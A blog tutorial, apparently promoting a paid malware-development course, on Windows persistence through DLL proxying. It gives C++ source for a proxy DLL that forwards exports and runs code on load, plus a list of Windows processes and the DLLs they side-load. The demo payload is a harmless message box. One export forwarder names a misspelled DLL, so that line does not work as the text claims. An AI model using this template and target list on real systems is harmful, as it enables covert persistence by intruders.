Welcome to today’s post, where I’ll demonstrate how to establish persistence in Windows using the DLL Proxying technique. This method is similar to a DLL Hijacking attack, where a legitimate DLL is replaced with a malicious one, tricking a legitimate process into loading the harmful DLL, believing it’s the correct file.

However, with DLL Proxying, we go a step further. Not only do we use the same DLL name, but we also copy the exported functions from the legitimate DLL into our malicious version that replaces it.

When the legitimate process calls a function from the replaced DLL, our malicious code is executed. This works similarly to DLL function hooking.

Let’s look at some code examples.

Our Malware Development Text Modules subscription is finally here! Dive deep into the best Windows OS malware techniques, from beginner to advanced, all in C++.

• New module every 15 days
• Over 45 minutes of reading time per module
• Starting at just $5/month (full access to all the previous modules)

Also here you have my first course that basically it’s a Introduction to Windows Malware Development using C++. It’s available from $15.

Code Examples

For example, if the legit DLL it’s something like this:

#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) VOID legitFunction1(int a)
{
    MessageBoxA(NULL, "This function it's from the legit DLL, function 1", "legitFunction1", 0);
}

extern "C" __declspec(dllexport) VOID legitFunction2(int a)
{
    MessageBoxA(NULL, "This function it's from the legit DLL, function 2", "legitFunction2", 0);
}

extern "C" __declspec(dllexport) VOID legitFunction3(int a)
{
    MessageBoxA(NULL, "This function it's from the legit DLL, function 3", "legitFunction3", 0);
}

The DLL contains three exported DLL functions:

• legitFunction1
• legitFunction2
• legitFunction3

For this reason the malicious DLL need to contain the same functions exported, it’s not necessary all of them, you only need to add the functions that you want to hook

Malicious DLL:

#include "pch.h"

#pragma comment(linker, "/export:legitFunction1=LegitDLL.legitFunction1")
#pragma comment(linker, "/export:legitFunction2=LegitDLL.legitFunction2")
#pragma comment(linker, "/export:legitFunction3=LegitDLLsss.legitFunction3")

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBoxA(NULL, "Thisis  a malicious dll", "Malicious dll", 0);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

That’s it, in this case all the 3 DLL’s will be hijacked.

Vulnerable Processes

Here you have a list of legit Windows processes and the DLL’s that you can use to perform this attack:

Missing DLL:

• spoolsv.exe ➡️ ualapi.dll

Side-loaded:

• spoolsv.exe ➡️ ualapi.dll
• mobsync.exe ➡️ propsys.dll
• MDEServer.exe ➡️ winmde.dll
• ComcastVNC.exe ➡️ version.dll
• colorcpl.exe ➡️ colorui.dll
• presentationhost.exe ➡️ mscoree.dll
• CameraSettingsUIHost.exe ➡️ DUI70.dll
• wsmprovhost.exe ➡️ mi.dll
• SgrmLpac.exe ➡️ winhttp.dll
• TieringEngineService.exe ➡️ ESENT.dll
• WmiApSrv.exe ➡️ wbemcomn.dll
• dfrgui.exe ➡️ SXSHARED.dll
• SyncHost.exe ➡️ WinSync.dll
• wmiprvse.exe ➡️ ncobjapi.dll
• wmiprvse.exe ➡️ wbem\sspicli.dll
• wmiprvse.exe ➡️ wbem\wmiclnt.dll
• svchost.exe(IKEEXT) ➡️ wlbsctrl.dll

Conclusions

DLL Proxying is a powerful technique for establishing persistence in a Windows environment, leveraging the trust that legitimate processes place in specific DLLs. By replacing a valid DLL with a malicious one that mimics its exported functions, attackers can manipulate system behavior and execute malicious code without raising immediate suspicion. This technique is especially dangerous when combined with vulnerable processes that rely on side-loaded or missing DLLs, as seen in the examples provided.

To defend against DLL Proxying, it’s crucial to secure DLL loading mechanisms, enforce code signing policies, and regularly monitor system integrity.

In summary, DLL Proxying highlights the importance of vigilance in DLL management and process security within Windows systems.